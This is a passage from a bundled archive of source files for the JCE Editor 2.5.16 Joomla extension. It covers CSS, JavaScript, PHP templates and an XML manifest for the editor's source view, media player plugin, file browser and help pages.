css_beautify.NESTED_AT_RULE={"@page":true,"@font-face":true,"@keyframes":true,"@media":true,"@supports":true,"@document":true};css_beautify.CONDITIONAL_GROUP_RULE={"@media":true,"@supports":true,"@document":true};if(typeof define==="function"&&define.amd){define([],function(){return{css_beautify:css_beautify};});}else if(typeof exports!=="undefined"){exports.css_beautify=css_beautify;}else if(typeof window!=="undefined"){window.css_beautify=css_beautify;}else if(typeof global!=="undefined"){global.css_beautify=css_beautify;}}());(function(){var options={'indent_size':1,'indent_char':'\t','unformatted':['a','abbr','acronym','b','bdo','big','br','cite','code','dfn','em','i','img','input','kbd','label','q','samp','select','small','span','strong','sub','sup','textarea','tt','var','pre'],'max_char':0,'wrap_line_length':0};SourceEditor.formatHTML=function(html,o){for(var n in o){options[n]=o[n];}
html=html_beautify(html,options);return html;};})();editor/tiny_mce/plugins/source/css/editor.css000060400000004253150751770430015423 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
body{margin:0;padding:0;width:100%;height:100%;}div#source-container{position:relative;background:#fefefe none;}div#source-toolbar{width:100%;background:#F7F7F7 none;border-bottom:1px solid #eee;padding:0 2px;font:10px Verdana,Arial,Helvetica,sans-serif;position:relative;float:left;}div#source-toolbar+div{clear:both;}div#source-toolbar span.source_search_container{margin:0 2px;position:relative;right:2px;text-align:right;display:inline-block;float:right;}div#source-toolbar span.button{display:inline-block;width:20px;height:20px;vertical-align:middle;border:1px solid #ccc;margin:2px 1px;background:url('../../../themes/advanced/img/icons.png') no-repeat 0 0;border-radius:2px;cursor:pointer;}div#source-toolbar span.button:first-child{margin-left:5px;}div#source-toolbar input[type="text"]{margin:1px 0;vertical-align:middle;width:150px;}div#source-toolbar span.button:hover{border:1px solid #0A246A;background-color:#B2BBD0;}div#source-toolbar span.button.active{border:1px solid #0A246A;background-color:#C2CBE0;}div#source-toolbar span.button.source_wrap{background-position:-100px -40px;}div#source-toolbar span.button.source_linenumbers{background-position:-120px -40px;}div#source-toolbar span.button.source_highlight{background-position:-140px -40px;}div#source-toolbar span.button.source_format{background-position:-400px 0;}div#source-toolbar span.button.source_search{background-image:url('../img/icons.png');background-repeat:no-repeat;background-position:0 0;}div#source-toolbar span.button.source_search_prev{background-image:url('../img/icons.png');background-repeat:no-repeat;background-position:-20px 0;}div#source-toolbar span.button.source_replace{background-position:-500px -20px;}div#source-toolbar span.button.source_replace_all{background-image:url('../img/icons.png');background-repeat:no-repeat;background-position:-40px 0;}label[for="source_search_regex"]{line-height:20px;vertical-align:middle;margin:0 5px 0 0;display:inline-block;}#source_search_regex{vertical-align:middle;}editor/extensions/mediaplayer/jceplayer/index.html000060400000000054150751770430016504 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/mediaplayer/jceplayer/css/index.html000060400000000054150751770430017274 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/mediaplayer/jceplayer/css/jceplayer.css000060400000001234150751770430017770 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
#mediaplayer_options input.browser{width:300px;}#mediaplayer_controlBarAutoHideTimeout{width:50px;}#mediaplayer_audioPan,#mediaplayer_volume{width:30px;}#mediaplayer_options span.ui-slider{width:100px;}label[for="mediaplayer_loop"],label[for="mediaplayer_autoPlay"],label[for="mediaplayer_muted"]{min-width:80px;}label[for="mediaplayer_playButtonOverlay"],label[for="mediaplayer_bufferingOverlay"]{min-width:140px;}span.ui-slider-block{display:inline-block;}editor/extensions/mediaplayer/jceplayer/js/index.html000060400000000054150751770430017120 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/mediaplayer/jceplayer/js/jceplayer.js000060400000010572150751770430017445 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFMediaPlayer.init({params:{extensions:'mp3,mp4,flv,f4v',dimensions:{'audio':{width:300,height:35}},path:'media/jce/mediaplayer/mediaplayer.swf'},props:{autoPlay:false,controlBarAutoHide:true,controlBarMode:'docked',controlBarAutoHideTimeout:'',loop:false,muted:false,playButtonOverlay:true,bufferingOverlay:true,volume:1,audioPan:0,poster:'',endOfVideoOverlay:'',backgroundColor:''},type:'flash',setup:function(){$('#mediaplayer_volume, #mediaplayer_audioPan').each(function(){var n=this;$('<span id="'+$(n).attr('id')+'_slider" class="ui-slider-block"></span>').insertAfter(this).slider();});$('#mediaplayer_volume').change(function(){var v=parseFloat($(this).val());v=Math.ceil(v);$('#mediaplayer_volume_slider').slider('value',v);$(this).val(v);});$('#mediaplayer_audioPan').change(function(){$('#mediaplayer_audioPan_slider').slider('value',($(this).val()*10)+20);});$('#mediaplayer_volume_slider').slider('option',{min:0,max:100,step:10,value:$('#mediaplayer_volume').val(),slide:function(event,ui){$('#mediaplayer_volume').val(ui.value);}});$('#mediaplayer_audioPan_slider').slider('option',{min:10,max:30,step:1,value:($('#mediaplayer_audioPan').val()*10)+20,slide:function(event,ui){$('#mediaplayer_audioPan').val((ui.value-20)/10);}});},isSupported:function(data){var r,file='',ext=tinymce.explode(this.getParam('extensions')).join('|'),re=new RegExp('\.('+ext+')$','i');var src=data.src||data.data||'';if(data.param){var fv=this.parseValues(data.param.flashvars||'');if(fv){file=fv.src||'';}}
r=re.test(src)||re.test(file);if(!r){return new RegExp(this.getPath()).test(src);}
return r;},getValues:function(s,args){var self=this,s,u,k,v,data=[];var url=tinyMCEPopup.getParam('document_base_url');if(!/http(s)?:\/\//.test(s)){s=$.String.path(url,s);}
data.push('src='+$.String.encodeURI(s,true));args=args||{};$(':input','#mediaplayer_options').each(function(){k=$(this).attr('id'),v=$(this).val();if(k){k=k.substr(k.indexOf('_')+1);if($(this).is(':checkbox')){v=$(this).is(':checked');}
if(typeof args[k]=='undefined'){args[k]=v;}}});var map={'autoplay':'autoPlay','controls':'controlBarAutoHide'};$.each(args,function(k,v){if(typeof k!='string'){return;}
if(map[k]){k=map[k];}
if(typeof self.props[k]=='undefined'){return;}
switch(k){case'volume':v=parseInt(v)/100;break;case'audioPan':v=parseInt(v);break;case'backgroundColor':v=v.replace('#','0x');break;case'poster':case'endOfVideoOverlay':if(v){u=/http(s)?:\/\/[^\/]+(.*)/.exec(url);s=(u&&u.length>1)?u[2]:'';v=$.String.path(s,v);}
break;default:break;}
if(k=='controlBarAutoHide'){v=!v;}
if(self.props[k]===v||v===''){return;}
if(v&&typeof v==="string"){v=$.String.encodeURI(v,true);}
data.push(k+'='+v);});return{'src':this.getPath(),'type':'application/x-shockwave-flash','param':{'flashvars':data.join('&'),'allowfullscreen':true,'wmode':'opaque'}};},parseValues:function(s){var ed=tinyMCEPopup.editor,data={},o=$.String.query(s.replace(/\?/,'&'));$.each(o,function(k,v){switch(k){case'src':data['src']=ed.convertURL(v);break;case'volume':data['volume']=parseInt(v)*100;break;case'backgroundColor':data[k]=v.replace('0x','#');break;case'loop':case'autoPlay':case'muted':case'playButtonOverlay':case'bufferingOverlay':v=(v==='false'||v==='0')?false:!!v;data[k]=v;break;case'controlBarAutoHide':v=(v==='false'||v==='0')?false:!!v;data[k]=!v;break;case'poster':case'endOfVideoOverlay':data[k]=ed.convertURL(ed.documentBaseURI.toAbsolute(v));break;default:data[k]=v;break;}});return data;},setValues:function(data){var fv=data.flashvars||data.param.flashvars||'';var at=this.parseValues(decodeURIComponent(fv));$.each(at,function(k,v){if(k=='src'){return;}
data[k]=v;});data.controlBarAutoHide=!!data.controlBarAutoHide;data.src=at.src;return data;},onSelectFile:function(file){if(file&&/\.mp3$/.test(file)){$('#mediaplayer_controlBarMode').val('floating').prop('disabled',true);}else{$('#mediaplayer_controlBarMode').val('docked').prop('disabled',false);}},onInsert:function(){var src=$('#src').val(),mp3=/\.mp3$/.test(src),dimensions=this.getParam('dimensions');if(mp3&&dimensions.audio){$('#width').val(dimensions.audio.width);$('#height').val(dimensions.audio.height);}
$('#flash_wmode').val('opaque');$('#flash_allowfullscreen').attr('checked',!mp3);$('#flash_menu').attr('checked',true);}});editor/extensions/mediaplayer/jceplayer/tmpl/default.php000060400000012531150751770430017623 0ustar00<?php
/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
defined('_WF_EXT') or die('RESTRICTED');
?>
<div id="mediaplayer_options">
    <table border="0" cellpadding="4" cellspacing="0" width="100%">
        <tr>
            <td><label for="mediaplayer_controlBarMode" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_MODE_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_MODE') ?></label></td>
            <td>
                <select id="mediaplayer_controlBarMode">
                    <option value="docked"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_DOCKED') ?></option>
                    <option value="floating"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_FLOATING') ?></option>
                    <option value="none"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_NONE') ?></option>
                </select>

                <input type="checkbox" id="mediaplayer_controlBarAutoHide" checked="checked" />
                <label for="mediaplayer_controlBarAutoHide" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_AUTOHIDE_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_AUTOHIDE') ?></label>
            </td>
        </tr>
        <tr>
            <td><label for="mediaplayer_controlBarAutoHideTimeout" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_TIMEOUT_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_TIMEOUT') ?></label></td>
            <td><input type="text" id="mediaplayer_controlBarAutoHideTimeout" value="" pattern="[0-9]*" /></td>
        </tr>
        <tr>
            <td><label for="mediaplayer_poster" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_POSTER_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_POSTER') ?></label></td>
            <td><input type="text" id="mediaplayer_poster" value="" class="browser image" /></td>
        </tr>
        <tr>	
            <td><label for="mediaplayer_endOfVideoOverlay" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_VIDEOOVERLAY_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_VIDEOOVERLAY') ?></label></td>
            <td><input type="text" id="mediaplayer_endOfVideoOverlay" value="" class="browser image" /></td>
        </tr>
        <tr>	
            <td><label for="mediaplayer_backgroundColor" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_BACKGROUNDCOLOR_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_BACKGROUNDCOLOR') ?></label></td>
            <td><input type="text" id="mediaplayer_backgroundColor" value="" class="color" size="9" /></td>
        </tr>
        <tr>
            <td colspan="2">
                <input type="checkbox" id="mediaplayer_loop" />
                <label for="mediaplayer_loop" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_LOOP_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_LOOP') ?></label>

                <input type="checkbox" id="mediaplayer_autoPlay" />
                <label for="mediaplayer_autoPlay" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_AUTOPLAY_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_AUTOPLAY') ?></label>

                <input type="checkbox" id="mediaplayer_muted" />
                <label for="mediaplayer_muted" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_MUTED_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_MUTED') ?></label>

                <input type="checkbox" id="mediaplayer_playButtonOverlay" checked="checked" />
                <label for="mediaplayer_playButtonOverlay" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_PLAYBUTTONOVERLAY_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_PLAYBUTTONOVERLAY') ?></label>

                <input type="checkbox" id="mediaplayer_bufferingOverlay" checked="checked" />
                <label for="mediaplayer_bufferingOverlay" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_BUFFERINGOVERLAY_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_BUFFERINGOVERLAY') ?></label>
            </td>
        </tr>
        <tr>
            <td>
                <label for="mediaplayer_volume" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_VOLUME_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_VOLUME') ?></label>
                <input type="text" id="mediaplayer_volume" value="100" class="slider" pattern="[0-9]*" min="0" max="100" />
            </td>
            <td>
                <label for="mediaplayer_audioPan" title="<?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_AUDIOPAN_DESC') ?>" class="tooltip"><?php echo WFText::_('WF_MEDIAPLAYER_JCEPLAYER_AUDIOPAN') ?></label>
                <input type="text" id="mediaplayer_audioPan" value="0" class="slider" pattern="[\-0-9]*" min="-1" max="1" />
            </td>
        </tr>
    </table>
</div>editor/extensions/mediaplayer/jceplayer/tmpl/index.html000060400000000054150751770430017460 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/mediaplayer/index.html000060400000000054150751770430014526 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/mediaplayer/jceplayer.xml000060400000002375150751770430015241 0ustar00<?xml version="1.0" ?>
<install version="1.5" type="extension" extension="jceplayer" folder="mediaplayer" core="1">
	<name>WF_MEDIAPLAYER_JCEPLAYER_TITLE</name>
	<version>2.5.16</version>
	<creationDate>08 April 2016</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_MEDIAPLAYER_JCEPLAYER_DESC</description>
	<files>
		<filename>jceplayer.php</filename>
		<folder>jceplayer</folder>
	</files>
	<params group="jceplayer" parent="mediaplayer">
		<param name="extensions" type="text" default="flv,f4v,mp3,mp4,xml" size="50" label="WF_MEDIAPLAYER_EXTENSIONS" description="WF_MEDIAPLAYER_EXTENSIONS_DESC" />
		<param name="path" type="text" size="50" default="media/jce/mediaplayer/mediaplayer.swf" label="WF_MEDIAPLAYER_PATH" description="WF_MEDIAPLAYER_PATH_DESC" />
	</params>
	<media folder="components/com_jce/editor/libraries" destination="jce">
    	<folder>mediaplayer</folder>
  	</media>
	<plugins></plugins>
	<languages></languages>
</install>
editor/extensions/mediaplayer/jceplayer.php000060400000002647150751770430015232 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
defined('_WF_EXT') or die('RESTRICTED');

class WFMediaPlayerExtension_Jceplayer extends WFMediaPlayerExtension {

    /**
     * Constructor activating the default information of the class
     *
     * @access	protected
     */
    function __construct($options = array()) {
        $options = array(
            'name' => 'jceplayer',
            'title' => 'JCE MediaPlayer',
            'params' => self::getParams()
        );

        parent::__construct($options);
    }

    function getParams() {
        $plugin = WFEditorPlugin::getInstance();

        return array(
            'extensions' => $plugin->getParam('mediaplayer.jceplayer.extensions', 'flv,f4v,mp3,mp4'),
            'dimensions' => array(
                'audio' => array('width' => 300, 'height' => 35)
            ),
            'path' => $plugin->getParam('mediaplayer.jceplayer.path', 'media/jce/mediaplayer/mediaplayer.swf')
        );
    }

    function isEnabled() {
        return true;
    }

}

?>editor/libraries/views/browser/tmpl/index.html000060400000000054150751770440015604 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/browser/tmpl/file.php000060400000011212150751770440015235 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

defined( '_JEXEC' ) or die('RESTRICTED');
?>
<form onsubmit="return false;" action="<?php echo $this->action;?>" target="_self" method="post" enctype="multipart/form-data">
	<div id="browser">
		<fieldset>
			<legend><span id="layout-full-toggle" role="button"></span><?php echo WFText::_('WF_LABEL_BROWSER');?></legend>
			
			<div class="layout-top">
				<div class="layout-header">
					<div id="browser-message"></div>
					<div id="browser-actions"></div>
				</div>
			</div>
			<div class="layout-bottom">
				<div class="layout-left">
					<div class="header"><?php echo WFText::_('WF_LABEL_FOLDERS');?></div>
					<div id="browser-tree">
						<div id="tree-body" class="tree"></div>
					</div>
				</div>
				<div class="layout-center">
					<div id="browser-list-actions">
						<!-- Check-All -->
						<div id="check-all"><span class="layout-icon checkbox" role="checkbox" aria-checked="false"></span></div>

						<!-- Sort Extension -->
						<div id="sort-ext" role="button" data-sort-type="extension" aria-labelledby="sort-ext-label">
							<div class="spacer"></div>
							<span class="layout-icon sort"><span id="sort-ext-label"><?php echo WFText::_('WF_LABEL_EXTENSION');?></span></span>
						</div>

						<!-- Sort Name -->
						<div id="sort-name" role="button" data-sort-type="string" aria-labelledby="sort-name-label">
							<div class="spacer"></div>
							<span class="layout-icon sort">&nbsp;<span id="sort-name-label"><?php echo WFText::_('WF_LABEL_NAME');?></span></span>
						</div>
						
						<!-- Sort Date -->
						<div id="sort-date" role="button" data-sort-type="date" aria-labelledby="sort-date-label" aria-hidden="true">
							<div class="spacer"></div>
							<span class="layout-icon sort">&nbsp;<span id="sort-data-label"><?php echo WFText::_('WF_LABEL_DATE');?></span></span>
						</div>

						<!-- Sort Size -->
						<div id="sort-size" role="button" data-sort-type="number" aria-labelledby="sort-size-label" aria-hidden="true">
							<div class="spacer"></div>
							<span class="layout-icon sort">&nbsp;<span id="sort-size-label"><?php echo WFText::_('WF_LABEL_SIZE');?></span></span>
						</div>

						<!-- Search -->
						<div id="show-search" role="button">
							<div class="spacer"></div>
							<span class="layout-icon search"></span>
						</div>
						<div id="searchbox" class="hide" role="popup"><input id="search" /><span class="search-icon"></span></div>
						
						<!-- Toggle Details -->
						<div id="show-details" role="button">
							<div class="spacer"></div>
							<span class="layout-icon details"></span>
						</div>
					</div>
					<div id="browser-list"></div>
					<div id="browser-list-limit">
						<ul class="limit-left">
							<li class="limit-left" role="button"></li>
							<li class="limit-left-end" role="button"></li>
						</ul>
		                <div class="limit-text"> 
							<label for="browser-list-limit-select"><?php echo WFText::_('WF_LABEL_SHOW');?></label>
							<select id="browser-list-limit-select">
		                    	<option value="10">10</option>
								<option value="25">25</option>
								<option value="50">50</option>
								<option value="100">100</option>
								<option value="all"><?php echo WFText::_('WF_OPTION_ALL');?></option>
		                    </select>
		                </div>
						<ul class="limit-right">
							<li class="limit-right" role="button"></li>
							<li class="limit-right-end" role="button"></li>
						</ul>
					</div>
				</div>
			
				<div class="layout-right">
					<div class="header"><?php echo WFText::_('WF_LABEL_DETAILS');?></div>
					<div id="browser-details">
						<div id="browser-details-text"></div>
						<div id="browser-details-comment"></div>
					</div>
					<div class="spacer"></div>
					<div id="browser-buttons"></div>
					<div id="browser-details-nav">
						<span class="details-nav-left" role="button"></span>
						<span class="details-nav-text"></span>
						<span class="details-nav-right" role="button"></span>
					</div>
				</div>
			</div>
		</fieldset>
	</div>
	<!--input type="hidden" name="<?php echo $this->session->getName();?>" value="<?php echo $this->session->getId();?>" /--> 
	<input type="hidden" name="<?php echo WFToken::getToken();?>" value="1" />
</form>
editor/libraries/views/browser/index.html000060400000000054150751770440014630 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/js/help.js000060400000005111150751770440011714 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function($){$.jce={Help:{options:{url:'',key:[],pattern:''},init:function(options){var key,id,n,self=this;$.extend(this.options,options);$('body').addClass('ui-jce');if($('#help-menu')){$('dd.subtopics','#help-menu').click(function(){$(this).parent('dl').children('dl').addClass('hidden');$(this).next('dl').removeClass('hidden');});this.nodes=$('dd[id]','#help-menu').click(function(e){if(this.id==''){return;}
$('dd.loading','#help-menu').removeClass('loading');self.loadItem(e.target);});$('iframe#help-iframe').load(function(){$('.loading','#help-menu').removeClass('loading');});key=this.options.key;if(!key.length){n=this.nodes[0];}else{id=key.join('.');n=document.getElementById(id)||this.nodes[0];}
if(n){this.loadItem(n);}}
$('#help-menu-toggle div.toggle-handle').click(function(){var n=this;$(n).toggleClass('collapsed');$('#help-menu').parent().toggle().css('width','');$('#help-frame').parent().toggleClass('span8 span12');self.resizeFrame();});$("#help-menu-toggle").draggable({'opacity':0.7,'helper':function(){return $('<div id="help-menu-toggle-clone" />').height($('#help-menu-toggle').height());},'axis':"x",'containment':"parent",start:function(){$('#help-frame').css('visibility','hidden');},stop:function(e,ui){$('#help-frame').css('visibility','visible');var pos=Math.max(Math.round(ui.position.left)-10,0);if(pos===0){return $('#help-menu-toggle div.toggle-handle').click();}
var size=Math.round(ui.position.left);$('#help-menu').parent().css('width',size);$('#help-frame').parent().css('width',$('div.row-fluid').width()-size-14);}});$(window).bind('resize',function(){$('#jce').height($(window).height()-20);self.resizeFrame();}).resize();},resizeFrame:function(){var self=this,s;$('#help-frame').parent().css('width',function(){if($("#help-menu-toggle div.toggle-handle").hasClass('collapsed')){s=$("#help-menu-toggle").outerWidth(true);}
return $('div.row-fluid').width()-self.getMenuSize(s)-1;});},getMenuSize:function(pos){if(typeof pos=='undefined'){pos=$('#help-menu').parent().outerWidth()+14;}
return pos;},loadItem:function(el){var s,n,keys,p,map;$(el).addClass('loading');var id=$(el).attr('id');if(this.options.pattern){keys=id.split('.');map={'section':keys[0]||'','category':keys[1]||'','article':keys[2]||''};p=this.options.pattern;s=p.replace(/\{\$([^\}]+)\}/g,function(a,b){return map[b]||'';});}else{s=id;}
$('iframe#help-iframe').attr('src',this.options.url+s);}}};})(jQuery);editor/libraries/js/editor.js000060400000021707150751770440012263 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
function IeCursorFix(){return true;}
function jInsertEditorText(text,editor){WFEditor.insert(editor,text);}
(function(){var winLoaded=false,each=tinymce.each,explode=tinymce.explode;var VERSION="2.5.16";var WFEditor={_bookmark:{},getSite:function(base){var site,host;var u=document.location.href;if(base.indexOf('http')!==-1){host=base.substr(base.indexOf('://')+3);site=host.substr(host.indexOf('/'));}else{site=u.substr(0,u.indexOf(base)+base.length);}
if(u.indexOf('/administrator/')!==-1){site=site+'administrator/';}
return site;},init:function(settings){var self=this;var base=settings.base_url;var site=this.getSite(base);if(/https:\/\//.test(document.location.href)){base=base.replace(/http:/,'https:');}
settings.token=settings.token||0;settings.component_id=settings.component_id||0;window.tinyMCEPreInit={};tinymce.extend(tinymce,{baseURL:base+'components/com_jce/editor/tiny_mce',suffix:'',query:settings.token+'=1&component_id='+settings.component_id});var indent='p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,object,video,audio';this.settings=tinymce.extend({document_base_url:base,site_url:site,mode:'textareas',schema:"mixed",editor_selector:'wfEditor',editor_deselector:'wfNoEditor',urlconverter_callback:'WFEditor.convertURL',add_form_submit_trigger:false,submit_patch:false,theme:'none',invalid_elements:'applet,iframe,object,embed,script,style,body,bgsound,base,basefont,frame,frameset,head,html,id,ilayer,layer,link,meta,name,title,xml',plugins:'',whitespace_elements:'pre,script,style,textarea,code',fix_list_elements:true,indent_before:indent,indent_after:indent,popup_css:false,keep_styles:false,update_styles:true,compress:{'css':true,'javascript':true}},settings);if(this.settings){try{var s=this.settings;if(s.compress.css){tinymce.extend(this.settings,{content_css:false,editor_css:false});}
this._markLoaded();if(s.skip_plugin_languages){var sl=tinymce.ScriptLoader,URI=tinyMCE.baseURI;each(s.skip_plugin_languages.split(','),function(n){if(n){sl.markDone(URI.toAbsolute('plugins/'+n+'/langs/'+s.language+'.js'));sl.add(URI.toAbsolute('plugins/'+n+'/langs/en.js'));}});}
WFEditor.load();}catch(e){}}},_markLoaded:function(){var self=this,s=this.settings,each=tinymce.each,ln=s.language.split(',');var suffix=s.suffix||'';function load(u){tinymce.ScriptLoader.markDone(tinyMCE.baseURL+'/'+u);}
if(s.compress.javascript==0){if(VERSION.indexOf('@@')!=-1){return;}
each(['autolink','cleanup','core','code','colorpicker','upload','format'],function(n){load('plugins/'+n+'/editor_plugin'+suffix+'.js');});}
load('themes/advanced/editor_template'+suffix+'.js');load('themes/none/editor_template'+suffix+'.js');if(s.compress.javascript==1){each(s.plugins.split(','),function(n){if(n){load('plugins/'+n+'/editor_plugin'+suffix+'.js');each(ln,function(c){if(c){load('plugins/'+n+'/langs/'+c+'.js');}});}});}},setBookmark:function(ed){var self=this,DOM=tinymce.DOM,Event=tinymce.dom.Event;function isHidden(ed){return ed.isHidden()||DOM.getStyle(ed.id+'_ifr','visibility')=='hidden';}
function isEditor(el){return DOM.getParent(el,'div.mceEditor, div.mceSplitButtonMenu, div.mceListBoxMenu, div.mceDropDown');}
Event.add(document.body,'mousedown',function(e){var el=e.target;if(isEditor(el)){return;}
if(!isHidden(ed)&&ed.selection){var n=ed.selection.getNode();if(DOM.getParent(n,'body#tinymce')){ed.lastSelectionBookmark=ed.selection.getBookmark(1);}}});},load:function(){var self=this,Event=tinymce.dom.Event,each=tinymce.each,explode=tinymce.explode,loaded;var s=this.settings;tinymce.settings=s;tinyMCE.onAddEditor.add(function(mgr,ed){if(s.compress.css){ed.onPreInit.add(function(){ed.dom.loadCSS(s.site_url+'index.php?option=com_jce&view=editor&layout=editor&task=pack&type=css&context=content&component_id='+s.component_id+'&'+s.token+'=1');});}
WFEditor.hideLoader(ed.getElement());self.setBookmark(ed);var plugins=s.plugins.split(','),lookup=tinymce.PluginManager.lookup;each(lookup,function(o,k){if(tinymce.inArray(plugins,k)===-1){delete lookup[k];}});ed.onInit.add(function(){ed.onSubmit.addToTop(function(){if(ed.initialized&&!ed.isHidden()){ed.save();ed.isNotDirty=1;}});});ed.onBeforeRenderUI.add(function(){var n=ed.getElement().form;if(!n||n._mceOldSubmit){return;}
if(!n.submit.nodeType&&!n.submit.length){ed.formElement=n;n._mceOldSubmit=n.submit;n.submit=function(){tinymce.each(tinymce.editors,function(e){if(e.initialized&&!e.isHidden()){e.save();}});ed.isNotDirty=1;return ed.formElement._mceOldSubmit(ed.formElement);};}
n=null;});ed.onBeforeExecCommand.add(function(ed,cmd,ui,v,o){var se=ed.selection,n=se.getNode();if(cmd=='mceInsertLink'){if(tinymce.isWebKit&&n&&n.nodeName=='IMG'){ed.dom.setAttrib(n,'data-mce-style',n.style.cssText);n.style.cssText=null;}}});ed.onExecCommand.add(function(ed,cmd,ui,v,o){var se=ed.selection,n=se.getNode();if(cmd=='mceInsertLink'){tinymce.each(ed.dom.select('img[data-mce-style]',n),function(el){if(el.parentNode.nodeName=='A'&&!el.style.cssText){el.style.cssText=ed.dom.getAttrib(el,'data-mce-style');}});}});});function _load(){if(!loaded){loaded=true;return self.create();}}
Event.add(window,'load',function(){_load();});Event.add(document,'init',function(){window.setTimeout(function(){_load();},1000);});},create:function(elements){var self=this,Event=tinymce.dom.Event,s=this.settings;WFEditor.showLoader();if(elements){s.mode='exact';s.elements=elements;}
try{if(s.theme=='advanced'&&(typeof s.toggle=='undefined'?1:s.toggle)){this._createToggle(elements);}
tinyMCE.init(s);}catch(e){alert(e);}},_createToggle:function(elements){var self=this,DOM=tinymce.DOM,Event=tinymce.dom.Event,s=this.settings;function getVar(s,dv){return(typeof s=='undefined'||s===null)?dv:s;}
